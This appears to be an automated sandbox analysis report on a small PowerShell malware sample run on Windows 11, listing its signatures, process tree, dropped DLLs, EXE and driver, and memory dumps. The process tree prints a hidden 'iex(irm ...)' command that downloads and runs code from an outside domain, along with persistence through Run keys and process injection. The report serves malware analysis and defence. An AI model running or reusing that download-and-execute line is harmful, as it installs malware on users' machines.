Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
12/05/2026, 15:59
General
- Target ps.ps1
- Size 117B
- Sample260512-te919aex8x
- SHA256 dbd0d07ce0569aec3a2acb9ffa4dece9dc351eac16910e2f759fc55fff88ff55
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm wutashui.com)'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c iex(irm wutashui.com)3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"C:\Users\Admin\AppData\Local\qrdqqcjzl_upd_unc\psl.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Temp\xkpsm.sysC:\Windows\Temp\xkpsm.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c cd /d "C:\Users\Admin\AppData\Roaming\SystemsContrcheck" & "C:\Users\Admin\AppData\Roaming\SystemsContrcheck\psl.exe""1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
PowerShell.exe.log
StartupProfileData-NonInteractive
985f5652facdaeb0.tmp
__PSScriptPolicyTest_2xvcqnut.541.ps1
opbkav_jgpj_ptjnke.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msys-2.0.dll
msys-iconv-2.dll
msys-idn2-0.dll
msys-intl-8.dll
msys-psl-5.dll
msys-unistring-5.dll
psl.exe
xkpsm.sys
memory/236-115-0x00007FF9DED90000-0x00007FF9DEE3E000-memory.dmp
memory/236-116-0x00007FF9DE9B0000-0x00007FF9DEB4A000-memory.dmp
memory/236-117-0x00007FF9DDB30000-0x00007FF9DDEA8000-memory.dmp
memory/236-114-0x00007FF9DEF90000-0x00007FF9DF04D000-memory.dmp
memory/236-113-0x00007FF9DFA80000-0x00007FF9DFC89000-memory.dmp
memory/236-132-0x00007FF696D60000-0x00007FF696D75000-memory.dmp
memory/808-40-0x000001E1F8EA0000-0x000001E1F8ECA000-memory.dmp
memory/808-45-0x000001E1F8E70000-0x000001E1F8E82000-memory.dmp
memory/808-42-0x000001E1F8B20000-0x000001E1F8B2A000-memory.dmp
memory/808-41-0x000001E1F8EA0000-0x000001E1F8EC4000-memory.dmp
memory/808-39-0x000001E1F8B20000-0x000001E1F8B2A000-memory.dmp
memory/808-38-0x000001E1F90F0000-0x000001E1F91A3000-memory.dmp
memory/808-37-0x000001E1F8E50000-0x000001E1F8E6C000-memory.dmp
memory/808-30-0x000001E1F8F20000-0x000001E1F90E2000-memory.dmp
memory/1416-8-0x000001F6C2470000-0x000001F6C2480000-memory.dmp
memory/1416-0-0x000001F6C2470000-0x000001F6C2480000-memory.dmp
memory/1416-1-0x000001F6A8890000-0x000001F6A88B2000-memory.dmp
memory/1492-130-0x0000000005940000-0x0000000005972000-memory.dmp
memory/1492-126-0x0000000000E30000-0x0000000000EBC000-memory.dmp
memory/1492-138-0x0000000007120000-0x00000000076C6000-memory.dmp
memory/1492-137-0x0000000006AD0000-0x0000000006B62000-memory.dmp
memory/1492-134-0x0000000005C20000-0x0000000005C86000-memory.dmp
memory/1492-131-0x0000000005B60000-0x0000000005BAC000-memory.dmp
memory/1492-129-0x0000000005850000-0x0000000005918000-memory.dmp
memory/1492-127-0x00000000057D0000-0x0000000005846000-memory.dmp
memory/2752-17-0x00000278B67C0000-0x00000278B67D0000-memory.dmp
memory/2752-9-0x00000278B67C0000-0x00000278B67D0000-memory.dmp
memory/2752-10-0x00000278B67C0000-0x00000278B67D0000-memory.dmp
memory/3712-101-0x0000000000010000-0x0000000000018000-memory.dmp
memory/3976-120-0x00007FF9DEF90000-0x00007FF9DF04D000-memory.dmp
memory/3976-121-0x00007FF9DED90000-0x00007FF9DEE3E000-memory.dmp
memory/3976-133-0x00007FF696D60000-0x00007FF696D75000-memory.dmp
memory/3976-123-0x00007FF9DDB30000-0x00007FF9DDEA8000-memory.dmp
memory/3976-122-0x00007FF9DE9B0000-0x00007FF9DEB4A000-memory.dmp
memory/3976-119-0x00007FF9DFA80000-0x00007FF9DFC89000-memory.dmp